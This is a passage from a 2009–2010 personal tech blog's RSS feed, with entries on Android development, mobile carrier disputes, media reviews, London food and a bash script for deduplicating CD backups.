Full 3.5 headphone jack on top.
Slide switch for ringer on/off (not test to see if this is all sound)
Strong vibration.
USB Micro-B socket for charging and connection (standard USB mass storage device so works on Linux).
Short cut to launch camera button.
Under the screen:
 Settings (application specific)
 Menu (Return to home or quick switch to last six apps)
 Back (application specific).
</description>
</item>
<item>
<title>Run the Android emulator during</title>
<pubDate>Sat, 23 Jan 2010 23:45:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#230120102345</link>
<description>
Android SDK is pretty impressive, what with a full emulator, loads of sample code and offline reference pages.
The android emulator (that can be setup for multiple hardware configurations and can simulate any input, GPS/Tilt/Incoming Call/etc) *MUST* be left running to avoid the long boot up sequence when it is first initialised.
And on those notes and can say my 50 lines android application (written in 10min chunks over the last 12 days is finally bending to my will !!
I want to do some reviews of the DEXT phone but I would rather be doing this coding *RASP*
</description>
</item>
<item>
<title>the simple task of creating hello world in android</title>
<pubDate>Tue, 12 Jan 2010 21:50:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#120120102150</link>
<description>
Android is the new *shiny* for me now so after install a few apps I wanted to see how easy it was to develop my own.
It was no supprise to find gentoo had eclipse in its portage system and a joy to find it installed with no hassle quite quickly.
What was less enjoyable was the lack of an executable called "eclipse". After some searching it turned out to be the command "eclipse-3.4", which I am sure is perfectly sensible if you grew up with various versions overlapping.
Next, download the Android SDK(Software Development Kit), no need to sign up to google (yay), its just a zip file(meaning precompiled binaries, boo!).
Follow the http://developer.android.com steps and add the Android plug-in to Eclipse, then spend an hour tracking down dependencies *in eclipse*.
Starting with <code>Android Development Tools (0.9.5.v200911191123-20404) requires plug-in "org.eclipse.gef".</code>
Which should have been A: automatically found and B: easy to find manually in a pinch. But no, although all the dependency errors refer to the package name "org.eclipse.gef" the package manager only shows the package title and there are hundreds.
But I can finally say that I am proud to have built the "hello world" app and run it on the emulator.
For some reason the first time you use the emulator it takes 2-3 minutes to startup.
*phew* time for a break...
</description>
</item>
<item>
<title>blended abstract art for android</title>
<pubDate>Tue, 12 Jan 2010 08:58:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#120120100858</link>
<description>
Image is of the phone with flash composite with the screen from an non flash exposure, thank you GIMP.
<img alt="android phone showing wallpaper" src="android_desktop_composite.jpg" /><img alt="blender based wallpaper for android" src="android_desktop_wallpaper.jpg" />
Blender image is a simple object generated via python with a halo light and interesting background.
Which you can get from http://wallpapers.androlib.com in <a href="http://wallpapers.androlib.com/android.wallpaper.light-sphere-red-wqi.aspx">red</a> or <a href="http://wallpapers.androlib.com/android.wallpaper.light-sphere-purple-wqw.aspx">purple</a>
</description>
</item>
<item>
<title>howto set an adroid wallpaper DEXT</title>
<pubDate>Mon, 11 Jan 2010 23:34:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#110120102334</link>
<description>
The first thing I wanted to do with my DEXT was create and set a new wallpaper.
<a href="http://www.blender.org">blendered</a> up a nice objada at 640x480, transferred to the phone from Linux (this phone just shows up like any mass storage device), select Wallpaper, select image, set crop to whole image and ...
It looks terrible, all blurry and indistinct, double check resolution, try again same result.
The path that does result in a nice 640x480 image (scrolled across five desktops) is to use the Picture Gallery app (built-in) and then select your image and then Settings and then More then Set As and then Wallpaper and then set crop to full.
Worth it in the end ;)
(screen grab tomorrow)
</description>
</item>
<item>
<title>Orange sends me a DEXT</title>
<pubDate>Mon, 11 Jan 2010 22:26:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#110120102226</link>
<description>
Going <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#020120102149">back to trying to get and Android phone from Orange and canceling my account with o2 ...
o2 still have not sent the PAK code so I can port my number and their lines are constantly busy, tried sending an email via the contact us web form ... no reply.Orange on the other hand finally sent me the Motorola <a href="http://images.google.co.uk/images?hl=en&source=hp&q=DEXT&btnG=Search+Images&gbv=2&aq=f&oq=">DEXT</a> and its a great little phone but ...
Charge and turn on and it says you have to create a <a href="http://en.wikipedia.org/wiki/MOTOBLUR">MOTOBLUR</a> account and you can not use the phone until you do but there is no signal ...
Luckily someone was running an unprotected wifi access point, so I connected with that and created my account. Then setup the phone to use my wifi(protected).
But lots of things would not work over the wifi and 3G did not seem to be available, chalked it up to bad signal and tried again at work the next day(center of London). Not once did I see a 3G signal, but I could authenticate and connect various WIFI access points.
Rang Orange to find the reason no 3G was the account was barred only the rep could not say why and removed it. Less than a minute later 3G popped up and I went away merrily installing all the apps I could lay my hands on (more on those later).
Only I got a text two days later saying there was a problem with my account.
Rang up and found that although my direct debit details had been correct at the time of creating the account they were canceled now.
Turns out that if you setup an account but do not receive a phone of which to avail yourself of it within a single billing period they automatically cancel the DD.
*exhales* still heard nothing back from Orange and the <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#201220090920">3hr+ phone call</a>, maybe they are hoping I will just go away ... not bloody likely !
</description>
</item>
<item>
<title>scibblenauts and case of the shrinking tornado</title>
<pubDate>Mon, 11 Jan 2010 22:11:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#110120102211</link>
<description>
Scibblenauts <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#090120102151">again</a>.
In a cavern, star at one end and Maxwell the main character starts at the other. Ceiling and floor are 'solid' so no digging, the ceiling has two indents big enough for Maxwell to dwell but no way to connect the two.
The minor inconvenience is the tornado that roams up and down the cavern throwing anything it comes across in random directions. I tried quite a few things before settling on following three solutions.
One: "shrink ray", shoot tornado, it shrinks, walk calmly past get star - WIN!
Two: "Hole", now most things in scribblenauts are quite small so I was a taken aback when I saw the 'hole' was huge and could be planted directly below the tornado. Unfortunately it was so big that after gaining entrance I could not get out, 'ladder' is too small but for some reason 'roof ladder' is almost twice the height, climb out, get star - WIN!
Three: I tried an number of rope related tricks but neither the tornado nor the rope was co-operating. The final solution was to create two 'cliff' objects. These have the unique properties of being both a background object, so the tornado can not toss them, most building types are like this, but also having grassy platforms high up so Maxwell can clamber above the tornado. Clamber above the tornado, get star - WIN!
I have no idea if the programmers actually expected those solutions or there were in fact three more obvious, simple and clever conclusions to the level.
</description>
</item>
<item>
<title>why why why all the blogging</title>
<pubDate>Sat, 09 Jan 2010 22:47:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102247</link>
<description>
I did <a href="http://www.jumpstation.co.uk/flog/Nov2009.html">warn you</a> I had *stuff* to blog, but why all this;
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102240
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102230
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102151
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102132
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102058
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102047
tonight ?
And, no that is not all of the queued "to blog" stuff ;)
I am waiting for <a href="http://www.eclipse.org">eclipse 3.4</a> to install all its updates and plug-ins.
And, why is that? I hear you ask ...
[to be continued]

</description>
</item>
<item>
<title>sweets for SWF honey for hacking</title>
<pubDate>Sat, 09 Jan 2010 22:40:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102240</link>
<description>
The sweet smell of WTF(submitted to http://thedailywtf.com/ )

Someone at work asked me about a local sweet shop and I quickly found a flash based web site for them http://www.annieschocolateemporium.co.uk/. All the sweet jars were images with very slow mouse overs with a further click required to bring up the price.
Not happy with having to, hover over, wait for text and then click every jar. I loaded up the <a href="http://www.fiddler2.com/fiddler2/">fiddler proxy</a>(windows only) in the hope of catching the XML file used to populate the flash movie ...
Hmmmm, does not load any additional files, and clicking on a jar to retrieve the price looks up a /prices/xx.swf URL, must be a per stock item "get latest" innovation.
Except the /prices folder has way less swf files than there are sweet jars, hang on, the /prices/xx.swf are not per stock item they are per price !
Maybe the price list is embedded in the initial swf, quick wizz through the <a href="ftp://ftp.usa.hp.com/">HP SWFScan tool</a>(also, windows only) and uh oh, each and every sweet jar is a separate clickable button, hard coded with the price swf to load up.
Visiting the store is much more pleasant.
On a side note, the contact us page map has an area marked "'ere be dragons", which is where the dentist is.
The design company behind the web site has a hard coded password in their site swf so there was never much hope.
</description>
</item>
<item>
<title>revomaze bests me for the mo</title>
<pubDate>Sat, 09 Jan 2010 22:30:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102230</link>
<description>
I am not sure where I first heard about <a href="http://www.revomaze.co.uk/products/product1-1.htm">the revomaze</a> but as I dug further around the web it looked like something I had to have, barring the price.
It is a wonderful thing to behold and hold. Perfectly machined, solid metal and quite hefty it feels good in your hands.
The idea is really simply and if the unit was transparent then it could be considered a kids toy. Move the inner cylinder out of the main unit by pulling and twisting.
It is not transparent and the inner workings are not obvious, pulling and turning randomly will get you dropped in a trap and the puzzle must be reset to continue.
The great thing about not being able to see anything, is you do not need to see anything, meaning this can be played anywhere your hands are free.
Love it, but really want to beat it !!
</description>
</item>
<item>
<title>scibblenauts is damn good</title>
<pubDate>Sat, 09 Jan 2010 21:51:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102151</link>
<description>
This is the review of the first of two exciting Xmas presents I got this year.
<a href="http://en.wikipedia.org/wiki/Scribblenauts">Scribblenauts</a> a rather bizarre Nintendo DS game in which you write anything you want and it appears.
That sounds rather impossible but having played it for a while it really does seem to have a massive dictionary with very few restrictions. For instance you can not use brand names, or racial/offensive or alcohol related words.
It is a bit a hard game to describe, there are various challenges that either involve getting a star from a location or supplying a solution to a random task.
On top of 200 levels there are extra points to be scored by solving a puzzle three times, each time not repeating any of the objects conjured into the previous solutions.
Example: a football stadium (in background) a goal and goalie, with the note &quot;Score a goal&quot;
Solution One:&quot;Ball&quot;, kick ball in to net, WIN! 
Solution two:&quot;Beach Ball&quot;, kick ball in to net, WIN! 
Solution Three: &quot;Football&quot; kick, score, no the goalie caught it, oh.
In frustration &quot;Machine gun&quot; shoot goalie, ball get pushed into back of net, WIN!!
I could go on for ages, but I want to point out, this game is as good as you want it to be. A number of reviewers have poopoo the whole idea after finding a few objects that work and re-using them, where as I delight in trying more weird and wack solutions like the teleporter or the toxic waste dump or the handy cliff or ra ...
Have a DS? buy this game, most places are doing it for &pound;20 brand new.
</description>
</item>
<item>
<title>google talking clock and get bashed</title>
<pubDate>Sat, 09 Jan 2010 21:32:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102132</link>
<description>
I needed to test a phone line a short while back but could not remember the speaking clock number (UK) so I <a href="http://www.google.co.uk/#hl=en&q=talking+clock&meta=&aq=&oq=talking+clock">talking clock</a> but I was a bit surprised to see my <a href="http://www.jumpstation.co.uk/scripts/talkingclock">bash script talking clock</a> as the first non sponsored link !!
This must mean that lots of other sites link to my talking clock, but strangely (according to google) they do <a href="http://www.google.co.uk/#hl=en&q=link%3Awww.jumpstation.co.uk%2Fscripts%2Ftalkingclock%2F&meta=&aq=&oq=link%3Awww.jumpstation.co.uk%2Fscripts%2Ftalkingclock%2F&fp=d85c830bfd253bed">not</a> *shrug*
</description>
</item>
<item>
<title>Neal Stephenson does it again with Anathem</title>
<pubDate>Sat, 09 Jan 2010 20:58:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102058</link>
<description>
Now for a more positive review of something.
You <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#201220090949">may</a> <a href="http://www.jumpstation.co.uk/flog/Nov2008.html#071120082249">have</a> <a href="http://www.jumpstation.co.uk/flog/Nov2008.html#071120082248">noticed</a> I am a <a href="http://www.jumpstation.co.uk/flog/Nov2008.html#071120082246">fan</a> of Neal Stephenson, so I had read <a href="http://www.nealstephenson.com/anathem/">Anathem</a> a while ago.
The first thing to point out about this epic is the size, 937 pages, 2.5&quot; inches thick and I hate to think what it ways, time for an ebook reader ...
For dragging around this tome you get an amazing and varied story that spans almost a life time. I love the way things slowly ramp up, characters, plot, theories etc until there is a massive star burst of story telling, confusing yet easy to follow.
I will say no more else give away the plot, you bet *Recommended*
</description>
</item>
<item>
<title>something something not funny</title>
<pubDate>Sat, 09 Jan 2010 20:47:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#090120102047</link>
<description>
&quot;Something, something, dark side&quot; Family Guy's take on the Empire Strikes back could have been spectacular, the Star wars spoof Blue harvest had some dodgy spots but overall was well made and fun.
This time the *fun* part has been removed and in its place is lots of technically impressive scene for scene re-makes with the odd joke thrown in.
A good example of this is the Tauntaun (gray camel kangaroo thing) is called Dondon and has the head of Don Knotts.
Of course there are the odd truly funny bits but they are so sparse I am not looking forward to the Return of the Jedi episode.
</description>
</item>
<item>
<title>do not meet the spartans</title>
<pubDate>Fri, 08 Jan 2010 22:48:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#080120102248</link>
<description>
Found the 300 spoof "Meet the Spartans" for just &pound;3 in HMV, I thought it was a bargain, how wrong could I be ?
AGHhhhh....! MY EYES! please use trepanning to remove not only part of my skull but the part of my brain that currently holds any record of experiencing this movie.
Notice how unfunny the above is ? thats how funny the DVD is !
</description>
</item>
<item>
<title>Oh where is my android phone orange</title>
<pubDate>Sat, 02 Jan 2010 21:49:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#020120102149</link>
<description>
Still no new Android phone ( <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#201220090920">previously</a>, <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#161220091024">previously</a>, <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#141220091046">previously</a>) but according to the email I go from Orange it is dispatched.
Unfortunately the parcel tracking number is &amp; &amp;
And the customer service reps have no computer access ...
And a quick note to all future companies wanting my business "I DO NOT HAVE A FAX!".
See the first thing Orange asked after last time was a credit card statement, so I scanned and emailed ... Not accepted.
Then they wanted a current bill with the company name and address, sent scan of mobile bill ... Not accepted.
Then the <a href="http://www.companieshouse.gov.uk/">Companies House</a> certificate of incorporation and company cheque (number obfuscated) ... Not accepted.
So I went into an Orange shop ... No they could not verify my existence even with all the paperwork I had brought in including passport and company bank statements.
Got stroppy email from Orange, no more email attachments Fax only.
I have not got a fax and have never had one nor had anyone I met, accept one and that had been ripped out years ago ...
Finally got an different Orange shop to send the fax for me ...
In todays world who has a Fax at home or in a small business ??
</description>
</item>
<item>
<title>yearly update 2008 and 2009</title>
<pubDate>Sat, 02 Jan 2010 21:36:21 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#020120102136</link>
<description>
Rather surprisingly I never got around to adding the <a href="http://www.jumpstation.co.uk/flog/year2008.html">2008 yearly summary</a> so to make up for it I added the  <a href="http://www.jumpstation.co.uk/flog/year2009.html">2009 yearly summary</a> to the <a href="http://www.jumpstation.co.uk/flog/archive.html">Archives</a>
</description>
</item>
<item>
<title>Avatar 3D now go and watch it</title>
<pubDate>Sat, 02 Jan 2010 20:24:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2010.html#020120102024</link>
<description>
I saw Avatar (in 3D) and it was very very impressive, despite what I had heard previously the story line is quite adequate and leaves open the possibility of a sequel or two.
What was more impressive was the shear number of names in the credits (there was nothing after the credits). <a href="http://www.imdb.com/title/tt0499549/fullcredits#cast">IMDB cast and crew list gives you some idea<a/>
If you can, watch this in the cinema in 3D.
</description>
</item>
<item>
<title>silverlight mono facemonkey opacity masks</title>
<pubDate>Sun, 20 Dec 2009 10:18:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#201220091018</link>
<description>
I did notice that the <a href="http://www.mono-project.com/Moonlight">moonlight</a> project were using a couple of <a href="http://www.pay4foss.org/jumpstation/silverlight/">my silverlight demos</a> for testing purposed but I can find nothing on the site since the redesign<shrug/>.

The amazing <a href="http://www.pay4foss.org/jumpstation/FaceMonkey/">FaceMonkey</a> has been upgraded to Sivlerlight 3 so you can now save images to your hard drive. There is also full screen mode but that need some TLC to work for all circumstances and time is one thing I do not have and the moment. If you want the latest source code you will have to email (which people have already done) me.

Last but not least I created an interesting <a href="http://www.pay4foss.org/jumpstation/opacitymask>Opacity mask</a> example demonstrating how to use these elusive but very practical graphical effects.
</description>
</item>
<item>
<title>Reviewing the complete Baroque cycle</title>
<pubDate>Sun, 20 Dec 2009 09:49:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#201220090949</link>
<description>
I am surprised to find as I come to review the final two books in <a href="http://www.nealstephenson.com/">Neal Stephenson's Baroque Cycle trilogy that I failed to review the first one so this is now a review of the whole series.

Book One: <a href="http://www.nealstephenson.com/quicksilver/">Quicksilver</a>
Using the same family names as from <a href="http://www.jumpstation.co.uk/flog/Nov2008.html#071120082246">my favourite book ever</a> <a href="http://www.nealstephenson.com/crypt/">Cryptonomicon</a> and to a certain extent their characteristics but for adventures in the 1700s.
Great twisting interweaving stories only hint at what is to come. Although historical people, places and events are mentioned, event to a Luddite like myself this never detracts from the overall joy of reading Neal's excellent writing.

Book Two: <a href="http://www.nealstephenson.com/confusion/">The Confusion</a>
Unfortunately this second episode now heaps on the historical references to people, places and events without ever (seemingly) to explain the background, assuming that had completed and enjoyed A level history or maybe a doctorate in 17th century politics.
I tried and I tried to find this book enjoyable and although I made it to the end it felt like a chore. Of course there were throughly enjoyable parts and I just at a loss to recount them against the overall trudge.

Book Three: <a href="http://www.nealstephenson.com/system/">The System of the World</a>
After the last book I was worried I would never start let alone complete this trilogy but, strangely it was as if many many other readers had had the same issues as this attempt fixed all the previous flaws.
Any reference to a new historical character was recounted with the required background and any slang or alias was also complete with a nod to the actual character we had previously been introduced to.
Back on track this final book was a joy to read with so many exciting scenes playing out bringing all the characters to there unique and many case surprising conclusions.
I wonder if educated peoples found it a bit pretentious, "why of course I know who William of Orange is".

Beware as with previous Neal Stephenson books these are series tomes weighing in at close to a thousand pages each.
Still if you can get them as an ebook this is not such an issue.
bottom line, this trilogy is a must read for anyone, excellent.
</description>
</item>
<item>
<title>three hours seventeen minutes later</title>
<pubDate>Sun, 20 Dec 2009 09:20:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#201220090920</link>
<description>
Now I have let me anger calm down from my <a href="http://www.jumpstation.co.uk/flog/Dec2009.html#161220091024">last dealings with o2</a> I can deal you what happened next...
After three hours seventeen minutes I was still in the queue and the nice automated voice kept repeating tha due to a high call volume I might have to wait and how the call would be answered as soon as possible.
Unfortunately she was lying and for me it was time for bed, after all it was half twelve and it was a school night.
After some less than adequate sleep I tried the number again to get some rather bad news, the office was currently closed and had been closed the whole time I had been on the line the previous night.
<pause type=&amp;angry&amp;/>
$set STATE=livid

Some follow up calls made by someone other than me turned up the fact that they need further proof of identification, would have been really nice if this had been mentioned on the screen telling me I had to call.
Currently I do not have a new phone, appears no one is working this weekend and now Sarah has an iphone.
I hate iphone and to avoid damaging anything around me I will not recount why.
Taking a deep breath . . . . ready to move on.
</description>
</item>
<item>
<title>o2 bad android orange holds</title>
<pubDate>Wed, 16 Dec 2009 10:24:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#161220091024</link>
<description>
Turns out that for Android phones O2 are pretty useless, all the carriers would offer me a *FREE* android phone with a monthly contract below &pound;26 pm except o2 who I have been a loyal custom of for 5 years with my last upgrade being 3 years ago.
After being offered the &quot;best deal&quot; of &pound;35 pm + pay towards the phone I decided to job ship, which should have been easy...
Attempt number one: in a queue for 10 mins followed by a pickup hangup.
Attempt number two: 5 mins in queue followed by ringing phone for another 5 minutes before I am disconnected.
Attempt number three: in queue for 20 mins followed by *RING* *TONE* *CLICK*
Attempt number four: queuing for less than 5 mins, get human who cancels contract and sends out PAC number.
So its all good ?
Hmmmm I am still on hold after 1 hour 3 mins for Orange as at the end of entering my choice of phone, tariff, address, bank and credit card .. I get a please call customer services and quote reference.
AGHHHHhhhhh........!
</description>
</item>
<item>
<title>The Mammoth Book of Best New Manga 2 review</title>
<pubDate>Mon, 14 Dec 2009 11:05:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#141220091105</link>
<description>
Sometime ago I finished making my way through <a href="http://www.constablerobinson.com/?section=books&book=the_mammoth_book_of_best_new_manga_2_9781845296421_paperback&imprint=&author=&order_by=book_publication_date%20desc&start=0">The Mammoth Book of Best New Manga 2</a> and now all I want is MORE!
What was nice about this was the WII 'pick up and play'/read aspect, I could comfortably read one whole story while waiting for gentoo to update or something equally mundane.
The content is highly varied, from the expected SI-FI and fantasy to horror, gilbert &amp; Sullivan and romance. A very small amount is in colour but the overall variety simply in the graphic styles is quite intriguing.
As I said I WANT MORE! but I can not find vol one even at Forbidden Planet.

</description>
</item>
<item>
<title>o2 fail to let me get anyway near an upgrade</title>
<pubDate>Mon, 14 Dec 2009 10:46:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2009.html#141220091046</link>
<description>
To be filed under &quot;moaning/blogging&quot;
<ul>
<li>phone is playing up, losing time</li>
<li>check contract, minimum expired 2 years ago</li>
<li>goto 02 website and get phone number     </li>
<li>ring number, navigate annoying menu</li>
<li>&quot;to see if you are eligible for an upgrade visit my02&quot;</li>
<li>visit my 02, you must register ...</li>
<li>Register, visit the upgrade center</li>
<li>get upgrade code text...</li>
<li>&quot;we are unable to upgrade you, please ring ...&quot;</li>
<li>ring new number navigate the same annoying menus</li>
<li>enter queue, listen to annoying musac for 20 minutes</li>
<li>rep answers and immediately informs me her computer is not able to access my details.</li>
<li>ask to be put back in the queue... *ring* *ring* *beeeep* * beeeep* !CLICK!</li>
<li>ring again number navigate the same annoying menus</li>
<li>sit in queue for only 5 minutes</li>
<li>rep answers and after some to and fro tells me I have a di number and he can not help.</li>
<li>transfers me to someone who can and ...</li>
<li>the whole network is down try again later</li>
<li>ring later, menu is not repeated instead &quot;we are experiencing higher than expected call volumes try again later. </li>
<li>ring later, menu is not repeated instead &quot;we are experiencing higher than expected call volumes try again later. </li>
</ul>
Maybe I will tray again tomorrow.
A part from this I have only ever had praise for o2 and recommend them regularly.
Hopefully this is a one off glitch...
</description>
</item>
<item>
<title>bloging not</title>
<pubDate>Mon, 30 Nov 2009 11:03:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2009.html#301120091103</link>
<description>
I have a small text file &quot;stuff to blog&quot;.
Beware, he who blogs last blogs largest/loudest/longest.
</description>
</item>
<item>
<title>test</title>
<pubDate>Thu, 08 Oct 2009 22:38:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2009.html#081020092238</link>
<description>
Minor update just to force an update.
Thanks steve!
</description>
</item>
<item>
<title>backing up backups of backups CD and VCD</title>
<pubDate>Thu, 08 Oct 2009 22:25:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2009.html#081020092225</link>
<description>
To make space for other things, I have been backing up my VCDs and then CDs in general due to their natural habit to become unreadable over time.
Back in the way when, long before DVDs I purchased a MPEG decoder card that could play VCDs (video cds) and then set about obtaining every released VCD as quickly as I could as they were already fading from shop shelfsWhen I came to back them up I found I had 81 (most were two disk), including such classics as Beverly Hills Cop I,II & III, Cyborg 2 and Crocodie Dundee II.
Some of the slightly better titles on offer include Hackers, Moonraker, Titan AE, Shallow grave, Akira, The Matrix.
The collection takes up 59GIG 
After that short exercise *COUGH* *COUGH* I decided to go after the mother load, all the CDs from before 2007, can't be to many ... It would seem I mad numerous backups of backups, of backups etc etc...
179 CDs later (where many others were simply excluded due to the lack of value in the content, Debian 2.2 install CDs etc) and I am short another 110GIG
That was after I remove a few blatant duplicates.
In the end only 4 CDs failed to be readable by any drive I could find, not bad percent wise.
The process was executed using rsync<code>rsync --progress --archive --update /mnt/CDROM /backups/CDs/</code>
Then for the duplicate witch hunt I used <code>#!/bin/bash
cd $1
echo "#!/bin/bash" > mkmd5.sh
find . -maxdepth 1 -type d | grep -v "^\.$" | sed -e "s/\(.*\)/cd \"\1\" ; ls -1R | md5sum > \"..\/\1.umd5\" ; cd ../" >> mkmd5.sh
sh mkmd5.sh
rm mkmd5.sh
cd ..</code>
Which creates a MD5 hash file of the same name as each folder (one per CD) then...<code>find . -name "*.umd5" -exec grep -H . {} \; > allMD5.lst
cat allMD5.lst | sort -t ":" -k 2 > sortedbyMD5.lst
cat sortedbyMD5.lst | cut -d ":" -f 2 | uniq -d > dupsMD5.lst </code>
</description>
</item>
<item>
<title>lg bluebirds loses another lifetime customer</title>
<pubDate>Thu, 08 Oct 2009 21:55:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2009.html#081020092155</link>
<description>
Picture this ;
You (I) are(am) building a new high end PC for someone. Everything is going great and nothing blew up when you turned the power on (always a good start) but, and there is always a but after installing the OS you find that both of the Sata DVD drives installed claim to have a CD in them ...
Strange to say the least. Both drive report that a CD called <a href="http://www.google.co.uk/#hl=en&q=lg+bluebirds+spyware&meta=&fp=2b5b11435ced62e0">bluebirds</a> in it, putting a real CD in either drive works fine, its just when it empty.
Now, each time you close the empty CD draw Windows (not my choice) auto-runs 'bluebirds' demanding an install.Once installed it should offer some kind of drag and burn functionality, but the PC user (and most people) will never need this, but it can not be uninstalled :(
"But wait" you say I googled and found the <a href="http://www.lge.com/us/support/product/support-product-profile.jsp?customerModelCode=GH22NS50">removal tool</a> alas the firmware it writes has a hard coded serial number meaning only one drive per machine :(
In fact a part from that little incident the only thing I have had trouble with was the screen savers and that was just a matter of right clicking and choosing install ...
plug http://topblock.sf.net
</description>
</item>
<item>
<title>eating out in London</title>
<pubDate>Thu, 08 Oct 2009 21:41:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2009.html#081020092141</link>
<description>
In London there are at least a few places to eat...

http://www.fireandstone.com
 New York 
 Crispy oven-roasted smoked bacon, mozzarella, Fire & Stone's tomato sauce, garlic & rosemary roast potatoes, caramelized onion jam, topped with sour cream & smoked paprika.
 Sounds a bit odd (they have more adventurous pizzas) but worked really well, thinking about it makes me go mmmmmmmm.

I need to go back here and sample some of the other goodnessesess especially as they do a great lunch deal.

http://www.myolddutch.com/
 Greek - really fresh, recommended
 Chicken - basic, nice, do not followup with ice-cream pancake... 
 Amsterdammer - sweat and sour, I want this again, but am making my way through the rest of the menu first.
 Seafood - tasted great
 Chicken curry - tasted like an average chicken curry on a pancake, nothing special

I am trying to encourage the entire office to go each and every Monday (due to the "Monday Madness")
Did I mention the pancakes are the size of small mediterranean islands ? mmmmmmmmm
</description>
</item>
<item>
<title>thenewefficiency is just the begining</title>
<pubDate>Thu, 08 Oct 2009 21:27:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2009.html#081020092127</link>
<description>
Apparently I am some what responsible for http://www.thenewefficiency.com must be due to my general silverlighting which would have been to have seen as sleeping in the last few months.
busy busy busy, but do not despair I have a number of new ideas brewing, just need the time to implement them ...
</description>
</item>
<item>
<title>Save me from the dew and tiny kitkats</title>
<pubDate>Sun, 06 Sep 2009 12:17:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2009.html#060920091217</link>
<description>
The problem with working near Leicester square is the bite sized <a href="http://www.cybercandy.co.uk/aaasmt/index.php/url_pmet3/xlc_4291/xdbc_kitkat/dbtc_1/pic_1/add_custsearch/stc_1/scope_short#4291">strawberry KitKats</a> and the multitude of <a href="http://en.wikipedia.org/wiki/Mountain_Dew">Mountain Dew flavors</a> I am forced to sample.
On the other hand there is easy access to just about anywhere in central London during a lunch hour :)
</description>
</item>
<item>
<title>time is meaningless</title>
<pubDate>Sun, 06 Sep 2009 10:08:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2009.html#060920091008</link>
<description>
&quot;Time is meaningless to those who have it&quot;
Which I think translates to <i>seize the day</i>
</description>
</item>
<item>
<title>Power cuts and legs shorten HDD lives</title>
<pubDate>Sun, 30 Aug 2009 21:19:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2009.html#300820092119</link>
<description>
Note to self, do not mock the 'power' of power cuts vs UPS.
Why? cos in revenge the local power sub system knocked out the power on half the street for 28 hours, but missed me, we were out for only 8 hours.
The UPS survived for less than 5 minutes.
The machine seems OK, but bizzarely an external USB hard drive that had been on started to give me odd errors. Switch enclosure and no more errors.
Note to self, ensure external USB HDD cables do not cause health and safety issues to said hard drives.
(as this the second time in 4 weeks I have sent a external drive flying, minor injuries to myself).
Note everyone, make sure you backup your backups ...
</description>
</item>
<item>
<title>linux 2.2 p75 16mb</title>
<pubDate>Thu, 20 Aug 2009 22:39:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2009.html#200820092239</link>
<description>
I have a ancient laptop (p75 16mb) that has been gathering dust for many years.
It has a special place in my heart as the fist machine I ever installed linux on.
Boy that was fun. I had to create boot floppies and PCMCIA driver disks to enable a PCMCIA CDROM drive to allow me to install Debian.
I remember trying it a few years ago and failing the password test, but it recently resurfaced so I endeavored to recover the password one way or another.<code>Linux single</code> still wanted to the password, I had tried most things then I noticed scrawled on laptop 'root', I had tried "root" and it was not the password, but this scrawl was somewhat smudged, i tried 'r00t' and ... I was in.
<code>uname -a</code>revealed an early kernel, 2.2.18pre21 that last access date was 2004.
This machine had been running enlightenment (in place of a very slow window 95) but what was on it now ...<code>startx</code>
Command not found :(
A whiz through the users command history showed a lot of c coding going on in 1999 and a bizzare 'box' described in a folder called 'ideas'
maybe some systems are better left alone ...
</description>
</item>
<item>
<title>powercuts vs UPS UPS wins</title>
<pubDate>Thu, 20 Aug 2009 22:22:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2009.html#200820092222</link>
<description>
Power cuts:0 UPS:2
